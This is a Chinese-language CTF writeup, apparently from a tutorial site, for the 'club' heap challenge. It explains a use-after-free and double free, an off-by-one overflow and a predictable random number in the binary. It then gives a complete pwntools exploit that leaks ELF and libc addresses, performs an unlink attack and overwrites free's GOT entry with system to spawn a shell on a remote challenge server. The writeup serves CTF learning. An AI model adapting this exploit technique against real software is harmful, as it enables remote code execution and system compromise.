欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]第四题club_pwn writeup

[原创]第四题club_pwn writeup

[原创]第四题club_pwn writeup

0x00 程序逻辑

菜单题,5个选项

其中值得留意的是
3)destory,只能free small和normal的指针,该功能在free指针的时候没有清零,同时flag[]也没有置零。
5)guess这个功能,ida里进去发现只要我们输入正确的随机数,就可以得到&seed的地址。

0x01 程序漏洞

  1. destory函数中free指针后ptrflag都没有清零,同时在leaveMessagedestory和showMessage功能中没有检查flag[]inuse位,可以造成UAF和double free

  2. leaveMessage中读入会造成off-by-one(单字节溢出)

  3. guess的伪随机数是可预测的

0x02 漏洞利用

  1. checksec,发现除了RELRO,保护全开

  2. 这个off-by-one可以造成unlink,但是我们不知道1)程序的基址2)libc的基址,所以下面我们想办法泄露这两个地址

  3. elf的基址前面提到,guess函数的伪随机数是可以预测的,我们在得到足够的数据后预测到下一个随机数的值,其关系如下
    oi = oi-31 + oi-3 mod 2**31 or oi = oi-31 + oi-3 + 1 mod 2**31, for all i ≥ 31.
    其中oi为第i个output伪随机数的值(i为下标),2**31 == 2147483648,详细的内容参考这篇文章,或者原文
    其部分代码如下

    def elfBase(p, numberList, pNumber):
    
     p.recvuntil('> ')
    
     p.sendline('5')
    
     p.recvuntil('> ')
    
     p.sendline(str(pNumber))
    
     a = p.recv(1)
    
     if a == 'G':
    
         elf.address = int(p.recvline().split(' ')[-1][:-2], 10) - 0x0000000000202148
    
         return 1
    
     p.recvuntil('is ')
    
     a = p.recvuntil('!')
    
     number = int(a[:-1], 10)
    
     if number not in numberList:
    
         numberList.append(number)
    
         length = len(numberList)
    
         if length >= 31:
    
             pNumber = (numberList[length-31] + numberList[length-3]) % 2147483648
    
             return pNumber
    
         else:
    
             return 0
    
    ........
    
    ........
    
    def pwn(p):
    
     pNumber = 0
    
     numberList = []
    
     while True:
    
         pNumber = elfBase(p, numberList, pNumber)
    
         if pNumber == 1:
    
             break
    
     print('elf.address => {}'.format(hex(elf._address)))
    
    
  4. libc我们可以通过showMessage这个函数获得,该函数没有检查flag[]inuse,我们先申请一个smalbin大小的box,然后释放,就会在对应的chunk的fd与bk除填上unsortbins的链表头地址

    pwndbg> parseheap 
    
    addr                prev      size      status            fd                bk                
    
    0x555555757000      0x0       0x410      Used                None              None
    
    0x555555757410      0x0       0x110      Freed     0x7ffff7dd3b58    0x7ffff7dd3b58
    
    0x555555757520      0x110     0x120      Used                None              None
    
    pwndbg> chunkinfo 0x555555757410
    
    ==================================
    
             Chunk info            
    
    ==================================
    
    Status :  Freed 
    
    Unlinkable : True
    
    Result of unlink :
    
        FD->bk (*0x7ffff7dd3b70) = BK (0x555555757410 -> 0x7ffff7dd3b58) 
    
        BK->fd (*0x7ffff7dd3b68) = FD (0x555555757410 -> 0x7ffff7dd3b58) 
    
    prev_size : 0x0                  
    
    size : 0x110                  
    
    prev_inused : 1                    
    
    is_mmap : 0                    
    
    non_mainarea : 0                     
    
    fd : 0x7ffff7dd3b58                  
    
    bk : 0x7ffff7dd3b58
    
    

    我们输出这个值即可

    [DEBUG] Received 0x93 bytes:
    
     00000000  58 3b dd f7  ff 7f 0a 59  6f 75 20 68  61 76 65 20  │X;··│···Y│ou h│ave │
    
     00000010  36 20 6f 70  65 72 61 74  69 6f 6e 20  3a 0a 31 29  │6 op│erat│ion │:·1)│
    
     00000020  20 67 65 74  20 61 20 62  6f 78 0a 32  29 20 64 65  │ get│ a b│ox·2│) de│
    
     00000030  73 74 6f 72  79 20 61 20  62 6f 78 0a  33 29 20 6c  │stor│y a │box·│3) l│
    
     00000040  65 61 76 65  20 6d 65 20  61 20 6d 65  73 73 61 67  │eave│ me │a me│ssag│
    
     00000050  65 20 69 6e  20 62 6f 78  0a 34 29 20  73 68 6f 77  │e in│ box│·4) │show│
    
     00000060  20 6d 65 73  73 61 67 65  20 69 6e 20  62 6f 78 0a  │ mes│sage│ in │box·│
    
     00000070  35 29 20 67  75 65 73 73  20 61 20 72  61 6e 64 6f  │5) g│uess│ a r│ando│
    
     00000080  6d 20 6e 75  6d 62 65 72  0a 36 29 20  65 78 69 74  │m nu│mber│·6) │exit│
    
     00000090  0a 3e 20                                            │·> │
    
     00000093
    
    libc => 0x7ffff7a0efe0
    
    

    该部分代码如下:

     getBox(p, 2, 0x100+0x8)
    
     getBox(p, 3, 0x100+0x8+0x10)
    
     destory(p, 2)
    
     libc.address = showMessage(p, 2) - 0x3c4b78
    
     print('libc => {}'.format(hex(libc.address)))
    
    
  5. 最后我们利用off-by-one造成unlink,修改free的got表即可

     getBox(p, 1, 0x20)
    
     leaveMessage(p, 2, p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) \
    
             + 'a' * (0x108-0x28) + p64(0x100) + '\x20')
    
     leaveMessage(p, 3, '/bin/sh\0\n')
    
     destory(p, 3)
    
     leaveMessage(p, 2, 'a' * 0x10 + p64(elf.got['free']) + '\n')
    
     print('system => {}'.format(hex(libc.symbols['system'])))
    
     leaveMessage(p, 1, p64(libc.symbols['system']) + '\n')
    
     destory(p, 3)
    
    

0x03 exp

#!/usr/bin/env python

# coding=utf-8

from pwn import *

slog = 0

local = 0

debug = 0

libc_env = 1

global p

global libc

global elf

if slog: context(log_level = 'debug')

if local and debug:

    gdb.attach(p, open('debug'))

def makeio(local=local):

    if local:

        if libc_env:

            p = process('./club', env={'LD_PRELOAD': './libc.so.6'})

            libc = ELF('./libc.so.6')

        else:

            p = process('./club')

            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

    else:

        p = remote('123.206.22.95', 8888)

        libc = ELF('./libc.so.6')

    return p, libc

elf = ELF('./club')

def getBox(p, kind, size):

    p.recvuntil('> ')

    p.sendline('1')

    p.recvuntil('> ')

    p.sendline(str(kind))

    p.recvuntil('> ')

    p.sendline(str(size))

def leaveMessage(p, kind, message):

    p.recvuntil('> ')

    p.sendline('3')

    p.recvuntil('> ')

    p.sendline(str(kind))

    p.send(message)

def destory(p, kind):

    p.recvuntil('> ')

    p.sendline('2')

    p.recvuntil('> ')

    p.sendline(str(kind))

def elfBase(p, numberList, pNumber):

    p.recvuntil('> ')

    p.sendline('5')

    p.recvuntil('> ')

    p.sendline(str(pNumber))

    a = p.recv(1)

    if a == 'G':

        elf.address = int(p.recvline().split(' ')[-1][:-2], 10) - 0x0000000000202148

        return 1

    p.recvuntil('is ')

    a = p.recvuntil('!')

    number = int(a[:-1], 10)

    if number not in numberList:

        numberList.append(number)

        length = len(numberList)

        if length >= 31:

            pNumber = (numberList[length-31] + numberList[length-3]) % 2147483648

            return pNumber

        else:

            return 0

def showMessage(p, kind):

    p.recvuntil('> ')

    p.sendline('4')

    p.recvuntil('> ')

    p.sendline(str(kind))

    return u64(p.recv(6) + '\0\0')

def pwn(p):

    pNumber = 0

    numberList = []

    while True:

        pNumber = elfBase(p, numberList, pNumber)

        if pNumber == 1:

            break

    print('elf.address => {}'.format(hex(elf._address)))

#    elf.address = 0x555555554000

    ptr = elf.address + 0x000000000202100 + 0x10

    getBox(p, 2, 0x100+0x8)

    getBox(p, 3, 0x100+0x8+0x10)

    destory(p, 2)

    libc.address = showMessage(p, 2) - 0x3c4b78

    print('libc => {}'.format(hex(libc.address)))

    gdb.attach(p)

    getBox(p, 1, 0x20)

    leaveMessage(p, 2, p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) \

            + 'a' * (0x108-0x28) + p64(0x100) + '\x20')

    leaveMessage(p, 3, '/bin/sh\0\n')

    destory(p, 3)

    leaveMessage(p, 2, 'a' * 0x10 + p64(elf.got['free']) + '\n')

    print('system => {}'.format(hex(libc.symbols['system'])))

    leaveMessage(p, 1, p64(libc.symbols['system']) + '\n')

#    leaveMessage(p, 1, p64(libc.address + 0xf1117) + '\n')

#    getBox(p, 4, 0x500)

#    leaveMessage(p, 4, '/bin/sh\0\n')

#    p.recvuntil('> ')

#    p.sendline('/bin/sh\0')

    destory(p, 3)

if __name__ == '__main__':

    p, libc = makeio()

    pwn(p)

    p.interactive()

0x04 几个疑问

我刚开是是修改atoi的got为system但是不知道为什么本地getshell,远程eof,坑了很久,而且很多时候也会出现,望各位大佬指点一二。

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功